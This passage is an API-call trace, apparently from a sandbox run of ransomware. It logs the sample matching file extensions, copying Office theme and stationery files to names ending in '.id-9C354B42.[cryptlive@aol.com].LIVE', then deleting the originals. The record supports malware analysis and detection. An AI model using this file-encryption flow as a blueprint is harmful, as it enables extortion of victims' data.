lpString2=".htm") returned -1 [0049.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0049.166] lstrlenW (lpString=".1cd") returned 4 [0049.166] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0049.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0049.166] lstrlenW (lpString=".jpg") returned 4 [0049.166] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0049.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0049.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0049.166] lstrlenW (lpString=".doc") returned 4 [0049.166] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0049.166] lstrlenW (lpString=".docx") returned 5 [0049.166] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0049.166] lstrlenW (lpString=".pdf") returned 4 [0049.166] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0049.166] lstrlenW (lpString=".xls") returned 4 [0049.166] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0049.166] lstrlenW (lpString=".xlsx") returned 5 [0049.166] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0049.167] lstrlenW (lpString=".ppt") returned 4 [0049.167] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0049.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0049.167] lstrlenW (lpString=".zip") returned 4 [0049.167] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0049.167] lstrlenW (lpString=".rar") returned 4 [0049.167] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0049.167] lstrlenW (lpString=".bz2") returned 4 [0049.167] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0049.167] lstrlenW (lpString=".7z") returned 3 [0049.167] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0049.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0049.167] lstrlenW (lpString=".dbf") returned 4 [0049.167] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0049.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0049.167] lstrlenW (lpString=".1cd") returned 4 [0049.167] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0049.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0049.167] lstrlenW (lpString=".jpg") returned 4 [0049.167] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0049.167] lstrcmpiW (lpString1=".jpg", lpString2=".LIVE") returned -1 [0049.167] lstrlenW (lpString="OrangeCircles.jpg") returned 17 [0049.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0049.167] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=6381) returned 1 [0049.167] CloseHandle (hObject=0x1e0) returned 1 [0049.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0049.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0049.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0049.168] lstrlenW (lpString=".doc") returned 4 [0049.168] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0049.168] lstrlenW (lpString=".docx") returned 5 [0049.168] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0049.168] lstrlenW (lpString=".pdf") returned 4 [0049.168] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0049.168] lstrlenW (lpString=".xls") returned 4 [0049.168] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0049.168] lstrlenW (lpString=".xlsx") returned 5 [0049.168] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0049.168] lstrlenW (lpString=".ppt") returned 4 [0049.168] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0049.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0049.168] lstrlenW (lpString=".zip") returned 4 [0049.168] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0049.168] lstrlenW (lpString=".rar") returned 4 [0049.168] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0049.168] lstrlenW (lpString=".bz2") returned 4 [0049.168] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0049.168] lstrlenW (lpString=".7z") returned 3 [0049.168] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0049.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0049.168] lstrlenW (lpString=".dbf") returned 4 [0049.168] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0049.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0049.169] lstrlenW (lpString=".1cd") returned 4 [0049.169] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0049.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0049.169] lstrlenW (lpString=".jpg") returned 4 [0049.169] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0049.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0049.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0049.169] lstrlenW (lpString=".doc") returned 4 [0049.169] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0049.169] lstrlenW (lpString=".docx") returned 5 [0049.169] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0049.169] lstrlenW (lpString=".pdf") returned 4 [0049.169] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0049.169] lstrlenW (lpString=".xls") returned 4 [0049.169] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0049.169] lstrlenW (lpString=".xlsx") returned 5 [0049.169] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0049.169] lstrlenW (lpString=".ppt") returned 4 [0049.169] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0049.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0049.169] lstrlenW (lpString=".zip") returned 4 [0049.169] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0049.169] lstrlenW (lpString=".rar") returned 4 [0049.169] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0049.169] lstrlenW (lpString=".bz2") returned 4 [0049.169] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0049.169] lstrlenW (lpString=".7z") returned 3 [0049.169] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0049.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0049.169] lstrlenW (lpString=".dbf") returned 4 [0049.169] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0049.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0049.169] lstrlenW (lpString=".1cd") returned 4 [0049.169] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0049.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0049.169] lstrlenW (lpString=".jpg") returned 4 [0049.169] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0049.170] lstrcmpiW (lpString1=".htm", lpString2=".LIVE") returned -1 [0049.170] lstrlenW (lpString="Peacock.htm") returned 11 [0049.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.331] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=232) returned 1 [0049.331] CloseHandle (hObject=0x188) returned 1 [0049.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0049.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0049.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0049.331] lstrlenW (lpString=".doc") returned 4 [0049.331] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0049.331] lstrlenW (lpString=".docx") returned 5 [0049.331] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1 [0049.331] lstrlenW (lpString=".pdf") returned 4 [0049.331] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0049.331] lstrlenW (lpString=".xls") returned 4 [0049.331] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0049.331] lstrlenW (lpString=".xlsx") returned 5 [0049.332] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1 [0049.332] lstrlenW (lpString=".ppt") returned 4 [0049.332] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0049.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0049.332] lstrlenW (lpString=".zip") returned 4 [0049.332] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0049.332] lstrlenW (lpString=".rar") returned 4 [0049.332] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0049.332] lstrlenW (lpString=".bz2") returned 4 [0049.332] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0049.332] lstrlenW (lpString=".7z") returned 3 [0049.332] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0049.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0049.332] lstrlenW (lpString=".dbf") returned 4 [0049.332] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0049.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0049.332] lstrlenW (lpString=".1cd") returned 4 [0049.332] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0049.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0049.332] lstrlenW (lpString=".jpg") returned 4 [0049.332] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0049.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0049.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0049.332] lstrlenW (lpString=".doc") returned 4 [0049.332] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0049.332] lstrlenW (lpString=".docx") returned 5 [0049.332] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1 [0049.332] lstrlenW (lpString=".pdf") returned 4 [0049.332] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0049.332] lstrlenW (lpString=".xls") returned 4 [0049.332] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0049.332] lstrlenW (lpString=".xlsx") returned 5 [0049.333] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1 [0049.333] lstrlenW (lpString=".ppt") returned 4 [0049.333] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0049.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0049.333] lstrlenW (lpString=".zip") returned 4 [0049.333] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0049.333] lstrlenW (lpString=".rar") returned 4 [0049.333] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0049.333] lstrlenW (lpString=".bz2") returned 4 [0049.333] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0049.333] lstrlenW (lpString=".7z") returned 3 [0049.333] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0049.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0049.333] lstrlenW (lpString=".dbf") returned 4 [0049.333] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0049.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0049.333] lstrlenW (lpString=".1cd") returned 4 [0049.333] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0049.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0049.333] lstrlenW (lpString=".jpg") returned 4 [0049.333] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0049.333] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0049.333] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0049.486] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1560) returned 1 [0049.486] CloseHandle (hObject=0x184) returned 1 [0049.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0049.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0049.486] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.486] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.505] GetLastError () returned 0x0 [0049.506] ReadFile (in: hFile=0x184, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x618, lpOverlapped=0x0) returned 1 [0049.526] WriteFile (in: hFile=0x1f8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x620, lpOverlapped=0x0) returned 1 [0049.527] ReadFile (in: hFile=0x184, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.527] WriteFile (in: hFile=0x1f8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.527] SetEndOfFile (hFile=0x1f8) returned 1 [0049.527] CloseHandle (hObject=0x1f8) returned 1 [0049.528] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.528] SetEndOfFile (hFile=0x184) returned 1 [0049.529] CloseHandle (hObject=0x184) returned 1 [0049.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0049.529] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0049.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0049.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0049.530] lstrlenW (lpString=".doc") returned 4 [0049.530] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.530] lstrlenW (lpString=".docx") returned 5 [0049.530] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.530] lstrlenW (lpString=".pdf") returned 4 [0049.530] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.530] lstrlenW (lpString=".xls") returned 4 [0049.530] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.530] lstrlenW (lpString=".xlsx") returned 5 [0049.530] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.530] lstrlenW (lpString=".ppt") returned 4 [0049.530] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0049.530] lstrlenW (lpString=".zip") returned 4 [0049.530] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.530] lstrlenW (lpString=".rar") returned 4 [0049.530] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.530] lstrlenW (lpString=".bz2") returned 4 [0049.530] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.530] lstrlenW (lpString=".7z") returned 3 [0049.530] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0049.530] lstrlenW (lpString=".dbf") returned 4 [0049.530] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0049.530] lstrlenW (lpString=".1cd") returned 4 [0049.530] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0049.530] lstrlenW (lpString=".jpg") returned 4 [0049.530] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0049.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0049.531] lstrlenW (lpString=".doc") returned 4 [0049.531] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.531] lstrlenW (lpString=".docx") returned 5 [0049.531] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.531] lstrlenW (lpString=".pdf") returned 4 [0049.531] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.531] lstrlenW (lpString=".xls") returned 4 [0049.531] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.531] lstrlenW (lpString=".xlsx") returned 5 [0049.531] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.531] lstrlenW (lpString=".ppt") returned 4 [0049.531] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0049.531] lstrlenW (lpString=".zip") returned 4 [0049.531] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.531] lstrlenW (lpString=".rar") returned 4 [0049.531] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.531] lstrlenW (lpString=".bz2") returned 4 [0049.531] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.531] lstrlenW (lpString=".7z") returned 3 [0049.531] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0049.531] lstrlenW (lpString=".dbf") returned 4 [0049.531] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0049.531] lstrlenW (lpString=".1cd") returned 4 [0049.531] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0049.531] lstrlenW (lpString=".jpg") returned 4 [0049.531] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.531] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0049.532] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0049.532] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=945) returned 1 [0049.532] CloseHandle (hObject=0x184) returned 1 [0049.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0049.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0049.532] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.532] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.534] GetLastError () returned 0x0 [0049.534] ReadFile (in: hFile=0x184, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x3b1, lpOverlapped=0x0) returned 1 [0049.536] WriteFile (in: hFile=0x1f8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0049.537] ReadFile (in: hFile=0x184, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.537] WriteFile (in: hFile=0x1f8, lpBuffer=0x35f0020*, 